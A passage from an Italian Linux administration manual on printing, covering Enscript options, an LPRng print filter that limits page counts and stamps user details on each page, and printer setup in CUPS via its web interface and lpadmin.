
`mac`	Mac
`vms`	VMS
`hp8`	HP
`koi8`	
`ps` `PS`	PostScript
`pslatin1` `ISOLatin1Encoding`	PostScript ISO 8859-1

Prima di passare all'elenco di esempi comuni, vale la pena di proporre il comando che potrebbe essere usato in un filtro di stampa per gestire i file di testo, senza lasciare che questi vengano inviati direttamente alla stampante:

```
enscript -1 -M a4 -f Courier@9.1/9.5 -B --margin=72:72:72:72 -o -
```

In questo modo si specifica che: si vuole ottenere una pagina virtuale per foglio; il formato della carta è A4 (si osservi l'uso del minuscolo); il testo deve utilizzare un carattere largo 9,1 punti e alto 9,5 punti (è la dimensione ottimale per stampare 80 colonne e 66 righe nello spazio disponibile, all'interno dei margini indicati); non si vogliono bordi attorno alla pagina virtuale, ma si lascia un margine di 72 punti; non si vuole alcuna intestazione; il risultato in PostScript deve essere emesso attraverso lo standard output.

Volendo intervenire nella configurazione di Magicfilter, si potrebbe sostituire la solita direttiva:

```
default                    cat
```

La nuova direttiva potrebbe essere come quella seguente:

```
default   pipe   /usr/bin/enscript -1 -M a4 -f Courier@9.1/9.5 -B ↩
↪--margin=72:72:72:72 -o - 2> /dev/null
```

Gli esempi che vengono mostrati fanno riferimento alla configurazione tipica di Enscript.

- $ **`enscript pippo`** [*Invio*]

  Mette in stampa il file '`pippo`', dopo averlo convertito in PostScript.

- $ **`enscript -2 pippo`** [*Invio*]

Come nell'esempio precedente, su due colonne, ma senza cambiare la dimensione del carattere.

- $ **enscript -2 -f Courier@5 pippo** [*Invio*]

  Come nell'esempio precedente, su due colonne, con un carattere molto piccolo.

- $ **enscript -2 -r -P laser pippo** [*Invio*]

  Mette in stampa il file 'pippo', su due colonne orientando la carta in modo orizzontale. Richiede specificatamente l'uso della coda di stampa '**laser**'.

- $ **enscript -2 -r -o pippo.ps pippo** [*Invio*]

  Come nell'esempio precedente, ma senza stampare: viene generato il file 'pippo.ps'.

- $ **man 1 enscript | enscript -2 -r -l** [*Invio*]

  Stampa la pagina di manuale *enscript(1)*, in orizzontale, su due colonne, impaginandola nel modo migliore per questo tipo di informazioni.

- $ **enscript -2 -r -Esh /etc/profile** [*Invio*]

  Stampa il file '/etc/profile', in orizzontale, su due colonne, utilizzando un sistema di evidenziamento ottimale per gli script di shell Bourne o derivate.

- ```
  #! /bin/sh
  enscript --portrait --columns=1 --margins=72:72:72:72 --no-header \
           --lines-per-page=66 --font=Courier@9.5 --output=-
  ```

  Lo script permette di generare un file PostScript attraverso lo standard output a partire da un file di testo normale, fornito attraverso lo standard input. Per la precisione, si vuole ottenere una sola colonna verticale, con un margine simmetrico di 72 punti (circa un pollice), senza scritte o bordi aggiuntivi, con un carattere di 9,5 punti (ciò dovrebbe garantire la stampa di 80 colonne su un foglio A4 normale).

- ```
  #! /bin/sh
  enscript --portrait --columns=1 --margins=72:72:72:72 --no-header \
           --font=Courier@9.5 --output=-
  ```

  Come nell'esempio precedente, ma senza porre un limite alla quantità di righe per pagina, che così possono essere anche di più delle 66 standard.

- ```
  #! /usr/sbin/magicfilter
  …
  …
  # Default entry -- for normal (text) files.  MUST BE LAST.
  #default                        cat     \eE\e&k2G\e(0N  \eE
  default   pipe  /usr/bin/enscript -1 -M a4 -f Courier@9.1/9.5 -B \
                                    --margin=72:72:72:72 -o - \
                                    2> /dev/null
  ```

  L'esempio mostra l'ultima istruzione di uno script di Magicfilter, allo scopo di stampare automaticamente del testo normale aggiungendo un po' di margini, come già mostrato nell'esempio precedente.
  ```

- ```
  #! /bin/sh
  enscript --landscape --columns=1 --media=a4 --margins=72:72:72:72 \
           --no-header --tabsize=8 --encoding=88591 \
           --non-printable-format=space --font=Courier@8.2/5.7 \
           --output=-
  ```

  Si tratta di un altro script, realizzato in modo da gestire file di testo fino a 136 colonne, in orizzontale, con margini da 72 punti. In questo senso, il carattere è stato scelto per riempire in modo ottimale lo spazio.

30.7 Filtri particolari con LPRng

LPRng è un sistema di stampa più evoluto di quello BSD tradizionale, anche se l'utilizzo è conforme a tale tradizione. LPRng ha la particolarità di consentire all'utente l'uso di un filtro di stampa aggiuntivo, fornito nella riga di comando dei programmi '**`lpr`**' e '**`lp`**', con l'opzione '**`-X`**'. Attraverso questa facoltà è possibile realizzare degli script che con gli stessi nomi '**`lpr`**' e '**`lp`**', da collocare in una directory che venga presa in considerazione prima di altre nell'elenco dei percorsi degli eseguibili. Così facendo si potrebbe controllare la stampa prima della sua esecuzione effettiva, senza dover intervenire in punti delicati della configurazione di LPRng stesso.

Questo capitolo mostra un esempio abbastanza completo in cui si sfrutta la possibilità offerta da LPRng di gestire dei filtri esterni, allo scopo di impedire la stampa di documenti troppo voluminosi e di sovraimporre i dati identificativi di chi ha stampato. Questo è anche il meccanismo usato da NLNX (volume III).

30.7.1 Schema di funzionamento

Il programma specificato con l'opzione '**`-X`**' di '**`lpr`**' o di '**`lp`**', nella versione di LPRng, viene eseguito inviandogli allo standard input il file da stampare. Questo programma, che qui viene chiamato '**`client-side-print-filter`**', fa qualcosa, anche con l'ausilio di un secondo programma, quindi emette attraverso lo standard output il risultato da mandare finalmente al sistema di stampa (dove probabilmente viene elaborato ulteriormente prima di arrivare effettivamente alla stampa).

Figura 30.86. Schema di funzionamento del filtro proposto in questo capitolo.
  ```

Il programma '**ps-overwrite**' che si vede nella figura, viene usato secondo la sintassi seguente. In pratica, '**ps-overwrite**' riceve come argomento il nome di un file contenente una porzione di codice PostScript, quindi, riceve dallo standard input un file PostScript completo e dallo standard output emette un altro file PostScript risultante dalla fusione di quello ricevuto in ingresso e del codice aggiuntivo fornito dalla riga di comando:

```
ps-overwrite codice_ps < input_ps > output_ps
```

La funzione che esegue '**ps-overwrite**' serve a sovraimporre, su ogni pagina del file ricevuto in ingresso, una scritta o dei disegni. La spiegazione dettagliata del funzionamento di '**ps-overwrite**' appare in altra sezione (60.17), dove viene chiamato '**ps-overwrite.pl**', ma qui, per completezza, viene riproposto il codice con cui lo si realizza:

```
#!/usr/bin/perl
#
local ($external_postscript_file) = $ARGV[0];
local ($external_postscript_code) = "";
local ($line)                     = "";
#
# Carica dal file esterno il codice da aggiungere.
#
open (PSCODE, "< $external_postscript_file");
while ($line = <PSCODE>)
  {
    $external_postscript_code = $external_postscript_code . $line;
  }
close (PSCODE);
#
# Legge lo standard input e cerca l'istruzione "showpage" per
# inserire il codice aggiunto.
#
while ($line = <STDIN>)
  {
    if ($line =~ m/^\%/)
      {
        #
        # Si tratta di un commento o di un'istruzione speciale.
        #
        print STDOUT ($line);
      }
    elsif ($line =~ m/^(.*)\bshowpage\b(.*)$/)
      {
        #
        # Si aggiunge il codice.
        #
        print STDOUT ($1);
        print STDOUT ("\n");
        print STDOUT ("save");
        print STDOUT ("\n");
        print STDOUT ("$external_postscript_code");
        print STDOUT ("\n");
        print STDOUT ("restore");
```

```
        print STDOUT ("\n");
        print STDOUT ("showpage");
        print STDOUT ("\n");
        print STDOUT ($2);
        print STDOUT ("\n");
      }
    else
      {
        print STDOUT ($line);
      }
  }
```

30.7.2 Script «lpr» e «lp»

Gli script '**lpr**' e '**lp**' vanno collocati in una directory che, nel percorso degli eseguibili (la variabile di ambiente ***PATH***) appare prima di quella che contiene i programmi '**lpr**' e '**lp**' veri e propri di LPRng. Il contenuto di tali script potrebbe essere quello successivo:

```
#!/bin/sh
#
if [ -x /etc/script/client-side-print-filter ]
then
    /usr/bin/lpr -X /etc/script/client-side-print-filter "$@"
else
    /usr/bin/lpr "$@"
fi
```

```
#!/bin/sh
#
if [ -x /etc/script/client-side-print-filter ]
then
    /usr/bin/lp -X /etc/script/client-side-print-filter "$@"
else
    /usr/bin/lp "$@"
fi
```

Come si vede, si presume che i programmi '**lpr**' e '**lp**' originali si trovino effettivamente nella directory '/usr/bin/' e che lo script '**client-side-print-filter**' sia collocato nella directory '/etc/script/'.

30.7.3 Funzioni usate da «client-side-print-filter»

Per semplificare la struttura dello script '**client-side-print-filter**', alcune funzioni vengono realizzate in file esterni, da incorporare al momento dell'esecuzione. Segue il contenuto e la descrizione di tali funzioni.

Listato 30.90. La funzione '**`f_postscript_a4_extra_text`**' richiede un testo attraverso gli argomenti della riga di comando (uno o più di uno, indifferentemente) e produce un file, attraverso lo standard output, contenente del codice PostScript, il quale va successivamente sovraimposto alle pagine del documento finale da stampare.

```
#!/bin/sh
f_postscript_a4_extra_text () {
    #
    local TEXT="$*"
    #
    # Remove text that cannot be inserted inside PostScript as is.
    #
    TEXT=`echo $TEXT | sed --posix "s/[^0-9a-zA-Z\/\\\?\!,.;:\+=_-]/ /"g`
    #
    echo "/mm { 2.8346456 mul } def"
    #
    echo "    0.1 mm setlinewidth"
    #
    echo "    10   mm 228.5 mm moveto"
    echo "     9.5 mm 228.5 mm lineto stroke"
    echo "    10   mm 148.5 mm moveto"
    echo "     9.5 mm 148.5 mm lineto stroke"
    echo "    10   mm  68.5 mm moveto"
    echo "     9.5 mm  68.5 mm lineto stroke"
    #
    echo "     5   mm 287   mm moveto"
    echo "    10   mm 292   mm lineto"
    echo "     5   mm 292   mm lineto"
    echo "     5   mm 287   mm lineto stroke"
    #
    echo "    10   mm 130.65 mm moveto"
    echo "    10   mm 131.15 mm lineto stroke"
    #
    echo "    14 mm 30 mm moveto"
    echo "    90  rotate"
    echo "    /Helvetica findfont 2 mm scalefont setfont"
    echo "    ($TEXT)"
    echo "    0 setgray"
    echo "    show"
    echo "stroke"
    #
}
```

Listato 30.91. La funzione '**`f_postscript_check_max_pages`**' serve a controllare che il file PostScript indicato come primo argomento contenga al massimo la quantità di pagine specificata come secondo. La funzione serve solo in quanto restituisce *Vero* se la quantità di pagine è minore o uguale al limite e altrimenti restituisce *Falso*.

```
#!/bin/sh
f_postscript_check_max_pages () {
    #
    local INPUT_FILE="$1"
    local MAX_PAGES="$2"
    local PAGES_LINE=""
    local PAGES=""
    #
    PAGES_LINE=`grep "^%%Pages: [0-9]" $INPUT_FILE 2> "/dev/null"`
    PAGES=`echo $PAGES_LINE | sed "s/^%%Pages: \([0-9][0-9]*\)/\1/" 2> "/dev/null"`
    #
    if [ $PAGES -gt $MAX_PAGES ]
    then
        false
        return
    else
        true
        return
    fi
}
```

Listato 30.92. La funzione '**`f_file_to_postscript`**' serve a convertire un file in un formato PostScript adatto alla sovraimposizione di altro codice. Il file da elaborare proviene dallo standard input, mentre il risultato dell'elaborazione viene emesso attraverso lo standard output. Se il file in ingresso non viene riconosciuto, non avviene alcuna trasformazione.

```
#!/bin/sh
f_file_to_postscript () {
    #
    local FILE_TYPE=""
    local FILE_MAIN_TYPE=""
    local TEMPORARY=`tempfile`
    touch $TEMPORARY
    #
    # Save the input inside a temporary file.
    #
    cat > $TEMPORARY
    #
    # Get file type as MIME type.
    #
    FILE_TYPE=`file --brief --mime $TEMPORARY 2> "/dev/null"`
    FILE_MAIN_TYPE=`echo "$FILE_TYPE" | sed "s/\/.*$//"`
    #
    # Check file type.
    #
    if   [ "$FILE_TYPE" = "text/plain; charset=utf-8" ] \
         || [ "$FILE_TYPE" = "text/x-asm; charset=utf-8" ]
```

```
    then
        #
        # Enscript is not able to work with UTF-8.
        #
        recode -f UTF-8..Latin1 $TEMPORARY > "/dev/null" 2> "/dev/null"
        #
        # Convert to PostScript.
        #
        cat $TEMPORARY \
            | /usr/bin/enscript -X 88591 -1 -M a4 -f Courier@5.5/9.5 \
                                --no-header \
                                --margin=72:72:72:72 -o - 2> "/dev/null" \
                                > $TEMPORARY.output0
        #
        ps2ps $TEMPORARY.output0 $TEMPORARY.output
        #
    elif    [ "$FILE_TYPE" = "text/plain; charset=iso-8859-1" ] \
         || [ "$FILE_TYPE" = "text/plain; charset=us-ascii" ] \
         || [ "$FILE_MAIN_TYPE" = "text" ]
    then
        #
        # Convert to PostScript and suppose it is Latin1.
        #
        cat $TEMPORARY \
            | /usr/bin/enscript -X 88591 -1 -M a4 -f Courier@5.5/9.5 \
                                --no-header \
                                --margin=72:72:72:72 -o - 2> "/dev/null" \
                                > $TEMPORARY.output0
        #
        ps2ps $TEMPORARY.output0 $TEMPORARY.output
        #
    elif    [ "$FILE_TYPE" = "application/octet-stream" ]
    then
        #
        # This is intended to be a text file with some bad characters
        # inside.
        #
        cat $TEMPORARY \
            | tr "\000" " " \
            | /usr/bin/enscript -X 88591 -1 -M a4 -f Courier@5.5/9.5 \
                                --no-header \
                                --margin=72:72:72:72 -o - 2> "/dev/null" \
                                > $TEMPORARY.output0
        #
        ps2ps $TEMPORARY.output0 $TEMPORARY.output
        #
    elif [ "$FILE_TYPE" = "application/pdf" ]
    then
        #
```

```
        pdf2ps $TEMPORARY $TEMPORARY.output 2> "/dev/null" 1> "/dev/null"
        #
    elif [ "$FILE_TYPE" = "application/postscript" ]
    then
        #
        ps2ps $TEMPORARY $TEMPORARY.output 2> "/dev/null" 1> "/dev/null"
        #
    elif [ "$FILE_MAIN_TYPE" = "image" ]
    then
        #
        convert $TEMPORARY $TEMPORARY.pnm 2> "/dev/null" 1> "/dev/null"
        pnmtops -imagewidth 7 -imageheight 10 $TEMPORARY.pnm \
                > $TEMPORARY.output0 2> "/dev/null"
        #
        ps2ps $TEMPORARY.output0 $TEMPORARY.output
        #
    else
        #
        # Cannot convert it.
        #
        ln $TEMPORARY $TEMPORARY.output
    fi
    #
    # Get output file type.
    #
    FILE_TYPE=`file --brief --mime $TEMPORARY.output 2> "/dev/null"`
    #
    if [ "$FILE_TYPE" = "application/postscript" ]
    then
        cat $TEMPORARY.output
        rm $TEMPORARY $TEMPORARY.* 1> "/dev/null" 2> "/dev/null"
        true
        return
    else
        cat $TEMPORARY.output
        rm $TEMPORARY $TEMPORARY.* 1> "/dev/null" 2> "/dev/null"
        false
        return
    fi
}
```

Listato 30.93. La funzione '**`f_network_get_eth`**' riceve come argomento due numeri interi, da zero in su. Il primo numero, ovvero ***n***, rappresenta la ***n***-esima interfaccia di rete di tipo Ethernet. La funzione restituisce il nome effettivo della ***n***-esima interfaccia esistente, ammesso che esista. Lo zero rappresenta la prima di tali interfacce. Il secondo numero fornito come argomento rappresenta la quantità massima di interfacce reali da scandire; di solito è sufficiente il valore 16.

```
#!/bin/sh
f_network_get_eth () {
```

```
    #
    local INTERFACE_N="$1"
    local INTERFACE_MAX="$2"
    #
    local ETH_NAME=""
    local ETH_N=0
    local N=0
    #
    while [ $N -lt $INTERFACE_MAX ]
    do
        if /sbin/ifconfig eth$N 1> "/dev/null" 2> "/dev/null"
        then
            ETH_NAME="eth$N"
            #
            if [ "$INTERFACE_N" == "$ETH_N" ]
            then
                echo $ETH_NAME
                true
                return
            else
                ETH_N=$(($ETH_N+1))
                N=$(($N+1))
            fi
        else
            N=$(($N+1))
        fi
    done
    #
    # If still here, there is a problem.
    #
    echo ""
    false
    return
}
```

Listato 30.94. La funzione '**`f_network_get_wlan`**' riceve come argomento due numeri interi, da zero in su. Il primo numero, ovvero n, rappresenta la n-esima interfaccia di rete senza fili (WiFi). La funzione restituisce il nome effettivo della n-esima interfaccia esistente, ammesso che esista. Lo zero rappresenta la prima di tali interfacce. Il secondo numero fornito come argomento rappresenta la quantità massima di interfacce reali da scandire; di solito è sufficiente il valore 16.

```
#!/bin/sh
f_network_get_wlan () {
    #
    local INTERFACE_N="$1"
    local INTERFACE_MAX="$2"
    #
    local WLAN_NAME=""
    local WLAN_N=0
```

```
    local N=0
    #
    while [ $N -lt $INTERFACE_MAX ]
    do
        if /sbin/iwconfig wlan$N 2> "/dev/null" \
           | grep IEEE 1> "/dev/null" 2> "/dev/null"
        then
            WLAN_NAME="wlan$N"
            #
            if [ "$INTERFACE_N" == "$WLAN_N" ]
            then
                echo $WLAN_NAME
                true
                return
            else
                WLAN_N=$(($WLAN_N+1))
                N=$(($N+1))
            fi
        else
            N=$(($N+1))
        fi
    done
    #
    # If still here, there is a problem.
    #
    echo ""
    false
    return
}
```

Listato 30.95. La funzione '**`f_network_get_ipv4_from_ifname`**' richiede come argomento l'indicazione di un nome di interfaccia reale e si occupa di emettere attraverso lo standard output l'indirizzo IPv4 associato a tale interfaccia.

```
#!/bin/sh
f_network_get_ipv4_from_ifname () {
    #
    local IF_NAME="$1"
    local IPV4_LINE=""
    local IPV4=""
    #
    IPV4_LINE=`/sbin/ifconfig $IF_NAME 2> /dev/null | grep "inet addr:"`
    IPV4=`echo $IPV4_LINE | sed "s/^.*inet addr:\([0-9.]*\).*$/\1/"`
    #
    echo $IPV4
}
```

30.7.4 Lo script «client-side-print-filter»

«

Lo script '**client-side-print-filter**' utilizza le funzioni descritte nella sezione precedente. Si suppone che ogni funzione risieda in un proprio file con lo stesso nome, nella directory '`/etc/script.functions/`'.

Listato 30.96. Lo script '**client-side-print-filter**'.

```
#!/bin/sh
##
## lpr -X client-side-print-filter
##
#
# Please, change the value below, to the max page number a user
# can print at the time.
#
MAX_ALLOWED_PAGES="11"
#
# Include public functions.
#
. /etc/script.functions/f_postscript_a4_extra_text
. /etc/script.functions/f_postscript_check_max_pages
. /etc/script.functions/f_file_to_postscript
. /etc/script.functions/f_network_get_eth
. /etc/script.functions/f_network_get_wlan
. /etc/script.functions/f_network_get_ipv4_from_ifname
#
#
#
get_ipv4 () {
    #
    local IPV4=""
    local WLAN0=`f_network_get_wlan 0 16`
    local WLAN1=`f_network_get_wlan 1 16`
    local ETH0=`f_network_get_eth 0 16`
    local ETH1=`f_network_get_eth 1 16`
    #
    if [ "$IPV4" = "" ] && [ ! "$WLAN0" = "" ]
    then
        IPV4=`f_network_get_ipv4_from_ifname $WLAN0`
    fi
    if [ "$IPV4" = "" ] && [ ! "$WLAN1" = "" ]
    then
        IPV4=`f_network_get_ipv4_from_ifname $WLAN1`
    fi
    if [ "$IPV4" = "" ] && [ ! "$ETH0" = "" ]
    then
        IPV4=`f_network_get_ipv4_from_ifname $ETH0`
    fi
    if [ "$IPV4" = "" ] && [ ! "$ETH1" = "" ]
    then
        IPV4=`f_network_get_ipv4_from_ifname $ETH1`
    fi
    if [ "$IPV4" = "" ]
    then
```

```
        IPV4=`f_network_get_ipv4_from_ifname lo`
    fi
    #
    echo "$IPV4"
}
#
TEMPORARY=`tempfile`
touch $TEMPORARY
#
IPV4=`get_ipv4`
#
DATE=`date -R`
#
if f_file_to_postscript > $TEMPORARY.output
then
    #
    # Check max pages.
    #
    if f_postscript_check_max_pages "$TEMPORARY.output" "$MAX_ALLOWED_PAGES"
    then
        logger "[$0] \"$USER\" prints $PAGES pages."
        if f_postscript_a4_extra_text \
               printed by user $UID $USER $HOME from $IPV4 on $DATE \
               > $TEMPORARY.fg.ps
        then
            cat $TEMPORARY.output | /etc/script/ps-overwrite $TEMPORARY.fg.ps
        else
            logger "Error: function f_postscript_a4_extra_text failed."
            cat $TEMPORARY.output
        fi
    else
        logger "[$0] \"$USER\" would like to print $PAGES pages"
        logger "[$0] but only $MAX_ALLOWED_PAGES is allowed."
    fi
else
    logger "[$0] Error: function f_file_to_postscript failed."
    #
    cat $TEMPORARY.output
    #
fi
#
rm $TEMPORARY $TEMPORARY.*
```

Questo script trasmette il proprio standard input alla funzione '**`f_file_to_postscript`**', la quale produce un file temporaneo che dovrebbe risultare in un formato PostScript abbastanza semplificato. Se l'operazione ha successo, con l'ausilio della funzione '**`f_postscript_check_max_pages`**' si verifica che il numero massimo di pagine non sia stato superato (questo script pone come limite 11 pagine) e se tutto va bene, produce un altro file temporaneo contenente il codice PostScript da sovraimporre alle pagine originali. La fusione tra i codici PostScript avviene per opera del programma '**`ps-overwrite`**', già descritto. Il risultato viene emesso attraverso lo standard output. Se invece ci sono dei problemi, a seconda dei casi non viene emesso alcunché, oppure viene riproposto lo stesso file originale.

Figura 30.97. Risultato della sovraimposizione delle stampe, attraverso il filtro proposto in questo capitolo.

printed by user 1000 tizio /home/tizio from 172.21.17.13 on Fri, 13 Oct 2006 17:07:09 +0200

riferimenti per l'uso del perforatore
(per raccoglitore ad anelli)

30.8 Introduzione a Cups

Cups,[13] ovvero *Common unix printing system*, è un sistema di stampa nettamente differente rispetto al modello BSD e a quello di System V. Cups utilizza il protocollo IPP (*Internet printing protocol*) con cui è anche possibile una gestione remota dei serventi, attraverso un navigatore HTTP comune.

L'utilizzo di Cups richiede delle nozioni di reti TCP/IP (capitolo 38 e successivi); tuttavia si preferisce anticipare l'argomento a completamento della trattazione della gestione delle stampanti.

30.8.1 Visione generale

Cups incorpora le funzionalità di un servente HTTP, attraverso il quale è possibile anche interagire per definire e modificare la configurazione delle stampanti. Pertanto, il programma frontale per intervenire in questo modo diventa un navigatore normale. In condizioni normali, la comunicazione con il protocollo HTTP avviene usando la porta 631, come prescrive il protocollo IPP.[14]

Questo servente HTTP specifico deve essere configurato, in modo da stabilire chi può accedere e a cosa si può accedere. A tale proposito, la prima cosa che si dovrebbe fare normalmente è modificare il file di configurazione del demone '**`cupsd`**' ('`/etc/cups/cupsd.conf`').

La configurazione delle stampanti viene fatta attraverso il protocollo HTTP, oppure attraverso programmi di servizio specifici, che però possono agire solo nell'ambito dell'elaboratore locale; pertanto non è necessario intervenire manualmente all'interno di file, che comunque esistono e sono gestiti autonomamente da Cups.

Cups deve poter riconoscere il tipo dei file che vengono inviati alla stampa ed essere a conoscenza delle caratteristiche delle stampanti utilizzabili. L'individuazione del tipo di file avviene

attraverso delle definizioni di tipi MIME; la gestione delle stampanti si avvale di una serie di file di configurazione specifici per ogni modello utilizzabile (file PPD). Queste informazioni, naturalmente, sono già fornite in modo predefinito. Per la precisione, i file di definizione delle stampanti dovrebbero trovarsi al di sotto della directory '`/usr/share/ppd/`'.

Bisogna osservare però che Cups gestisce i filtri di stampa in proprio e potrebbe incorporare alcuni programmi appositi.

Infine, Cups è in grado di comandare delle stampanti locali, oppure di raggiungere delle stampanti remote, attraverso vari protocolli; in particolare: IPP, LPD (quello dei sistemi di stampa tradizionali) e SMB.

30.8.2 Stampanti logiche, classi e istanze

Per la gestione delle stampanti, Cups utilizza una terminologia particolare. Per come si intendono normalmente, le stampanti sono per Cups delle ***stampanti logiche***. Quando per una stampante logica si vuole definire una configurazione alternativa, si dichiara un'***istanza***. Un insieme di stampanti può essere raggruppato in una ***classe***; quando si invia una stampa a una classe, invece che a una stampante logica precisa (o a una sua istanza particolare), si fa in modo che la stampa avvenga sulla prima stampante libera della classe indicata.

30.8.3 Configurazione di una stampante locale

L'utente poco esperto che intende utilizzare Cups, può limitarsi a configurare le proprie stampanti utilizzando semplicemente l'interfaccia a cui si accede tramite il protocollo IPP. In pratica, serve un navigatore ipertestuale, con il quale ci si connette all'indirizzo locale ⟨*http://localhost:631*⟩. Inizialmente, la configurazione standard di Cups dovrebbe consentire l'amministrazione da parte dell'utente '**`root`**', il quale si identifica con la stessa parola d'ordine necessaria per accedere al sistema operativo.

Figura 30.98. La pagina iniziale di Cups.

Per aggiungere una stampante logica, si seleziona normalmente la scheda di amministrazione e da lì si sceglie la voce di aggiunta di una stampante. È bene che la prima stampante logica, o comunque quella che si intende usare come stampante predefinita, abbia il nome '**`lp`**', per rispettare la tradizione.

Figura 30.99. La scheda di amministrazione di Cups.

Home Administration Classes Documentation/Help Jobs Printers

Printers

Add Printer Find New Printers Manage Printers

Classes

Add Class Manage Classes

Jobs

Manage Jobs

Server

Edit Configuration File View Access Log View Error Log View Page Log

Basic Server Settings:

☑ Show printers shared by other systems
☐ Share published printers connected to this system
☐ Allow printing from the Internet
☐ Allow remote administration
☐ Use Kerberos authentication (FAQ)
☐ Allow users to cancel any job (not just their own)
☐ Save debugging information for troubleshooting

Change Settings

Subscriptions

Add RSS Subscription

Figura 30.100. Aggiunta di una stampante: viene richiesta l'indicazione del nome della stampante logica e altre informazioni descrittive.

Home Administration Classes Documentation/Help Jobs Printers

Add New Printer

Name: lp
(May contain any printable characters except "/", "#", and space)
Location: lab 1
(Human-readable location such as "Lab 1")
Description: HP LaserJet 1200
(Human-readable description such as "HP LaserJet with Duplexer")
Continue

Una volta dichiarato il nome della stampante logica che si intende aggiungere, viene richiesto di specificare dove si trova tale stampante. Se si tratta di una stampante locale, dovrebbe risultare individuata automaticamente, come si vede nella figura successiva.

Figura 30.101. Selezione della stampante locale, corrispondente a una HP LaserJet 1200, collegata alla porta USB.

Home Administration Classes Documentation/Help Jobs Printers

Device for lp

Device: HP LaserJet 1200 USB #1 (HP LaserJet 1200)
Continue

Viene quindi chiesto di specificare il file PPD di definizione delle caratteristiche della stampante. In questo caso, essendo stato individuato automaticamente il modello della stampante, viene anche suggerito il file PPD più adatto, per cui basta confermare.

Figura 30.102. Selezione del file PPD.

Figura 30.103. Stato della stampante appena definita.

A questo punto, la stampante logica è stata creata, ma rimane ancora da indicare tale stampante, essendo l'unica, come predefinita: se non si specifica qual è la stampante predefinita, ogni volta che si stampa occorre indicarlo espressamente.

Figura 30.104. Stampante predefinita.

30.8.4 Configurazione di una stampante remota

Se si vuole stampare attraverso una stampante accessibile dalla rete locale, Cups va configurato di conseguenza. Quando viene richiesto di specificare dove si trova la stampante, occorre scegliere un protocollo di rete, come si vede nella figura successiva, dove si presume di disporre di un servente LPD (lo standard del sistema di stampa BSD).

Figura 30.105. Selezione della stampante remota, utilizzando il protocollo tradizionale LPD.

Home | Administration | Classes | Documentation/Help | Jobs | Printers

Device for lp

Device: LPD/LPR Host or Printer

Continue

Quindi occorre specificare in modo preciso un indirizzo URI per raggiungere tale stampante. Nella figura successiva si suppone che si tratti dell'indirizzo IPv4 172.21.254.254.

Figura 30.106. Indicazione dell'indirizzo URI della stampante remota. La coda di stampa remota corrisponde al nome '**`lp`**'.

Device URI for lp

Device URI: lpd://172.21.254.254/lp

Examples:

```
http://hostname:631/ipp/
http://hostname:631/ipp/port1

ipp://hostname/ipp/
ipp://hostname/ipp/port1

lpd://hostname/queue

socket://hostname
socket://hostname:9100
```

See "Network Printers" for the correct URI to use with your printer.

Continue

In tal caso, non è possibile individuare automaticamente il tipo di stampante, pertanto occorre specificare manualmente la casa e il modello.

Figura 30.107. Indicazione della stampante: casa.

Home | Administration | Classes | Documentation/Help | Jobs | Printers

Make/Manufacturer for lp

Make: Heidelberg, Hitachi, HP, IBM, Imagen, Infotec, Intellitech, Kodak, KONICA MINOLTA, Kyocera, Kyocera Mita

Continue

Or Provide a PPD File: Browse...

Add Printer

Figura 30.108. Indicazione della stampante: file PPD.

Al termine, occorre avere la stessa accortezza di impostare la stampante predefinita.

Figura 30.109. Stampante predefinita.

30.9 Cups: programmi di servizio e configurazione

Cups potrebbe essere configurato manualmente e amministrato attraverso programmi di servizio, benché questo tipo di approccio sia sconsigliabile data la natura di Cups stesso. Tuttavia, qualche annotazione al riguardo potrebbe essere utile in certe situazioni.

30.9.1 Individuazione automatica delle stampanti

Cups è in grado di individuare le stampanti locali e quelle di rete, in modo autonomo; attraverso il comando '**lpinfo**' si può scorrere in particolare l'elenco delle disponibilità locali:

`# lpinfo -v` [*Invio*]

```
network socket
direct usb://HP/LaserJet%201200
direct hp:/usb/HP_LaserJet_1200?serial=00CNC2180308
network http
network ipp
network lpd
direct parallel:/dev/lp0
direct scsi
network smb
```

Intuitivamente si comprende il significato delle varie notazioni, che si rifanno allo schema di un URI. Per esempio, la porta parallela corrispondente al file di dispositivo '`/dev/lp0`', si indica come *`parallel:/dev/lp0`*; eventualmente, volendo definire una stampante logica diretta in pratica a un file, basta usare un URI del tipo '`file://`***percorso_assoluto***'.

Quando un servente mette a disposizione il proprio servizio di stampa attraverso il protocollo IPP, si può fare riferimento a questo «dispositivo» remoto attraverso una notazione del tipo '**`ipp://`*nodo*`/printers/`*stampante_logica***'. Nello stesso modo, se il protocollo disponibile è quello tradizionale della stampa BSD, la notazione è del tipo: '**`lpd://`*nodo*`/`*coda***'.

30.9.2 Amministrazione

Il sistema di stampa Cups può essere impostato localmente attraverso il programma '**`lpadmin`**'. Per definire una ***stampante logica***, si procede con un comando simile all'esempio seguente:

```
# lpadmin -p lp -E ↩
↪         -v usb://HP/LaserJet%201200 ↩
↪         -P /usr/share/ppd/cups-included/HP/laserjet.ppd[Invio]
```

In questo modo, è stata definita la stampante '**`lp`**', abbinata a una porta USB e individuata esattamente come HP LaserJet 1200. La stampa viene gestita attraverso la definizione contenuta nel file '`/usr/share/ppd/cups-included/HP/laserjet.ppd`' che intuitivamente rappresenta una stampante HP LaserJet generica.

In modo analogo, si può definire una stampante di rete. L'esempio seguente definisce la stessa stampante logica '**`lp`**', ma offerta dal nodo di rete 172.21.254.254, attraverso il protocollo LPD (quello tradizionale del sistema di stampa BSD). Presso il servente remoto si fa riferimento a una coda di stampa con lo stesso nome '**`lp`**':

```
# lpadmin -p lp -E -v lpd:/172.21.254.254/lp[Invio]
```

Volendo adattare il file trasmesso alla stampante remota, prima dell'invio, supponendo che si tratti sempre di una stampante HP LaserJet 1200, si potrebbe indicare il file PPD come già fatto nel caso della stampante locale:

```
# lpadmin -p lp -E ↩
↪         -v lpd:/172.21.254.254/lp ↩
↪         -P /usr/share/ppd/cups-included/HP/laserjet.ppd[Invio]
```

Per far sì che la stampante logica '**`lp`**' locale sia anche quella predefinita, occorre il comando seguente:

lpadmin -d lp [*Invio*]

Eventualmente, per eliminare la stampante logica '**lp**', occorre il comando seguente:

lpadmin -x lp [*Invio*]

La sintassi di '**lpadmin**' si può riassumere nei modelli seguenti:

lpadmin -p ***stampante_logica*** ***altre_opzioni***

lpadmin -d ***stampante_logica***

lpadmin -x ***stampante_logica***

La tabella successiva descrive brevemente alcune opzioni di '**lpadmin**'.

Tabella 30.111. Alcune opzioni di '**lpadmin**'.

Opzione	Descrizione
-p ***stampante_logica***	Definisce la stampante logica su cui intervenire.
-x ***stampante_logica*** -x ***classe***	Elimina la stampante logica o la classe indicata. È incompatibile con l'opzione '**-p**'.
-d ***stampante_logica*** -d ***classe***	Stabilisce che la stampante logica o la classe indicata è la destinazione predefinita.
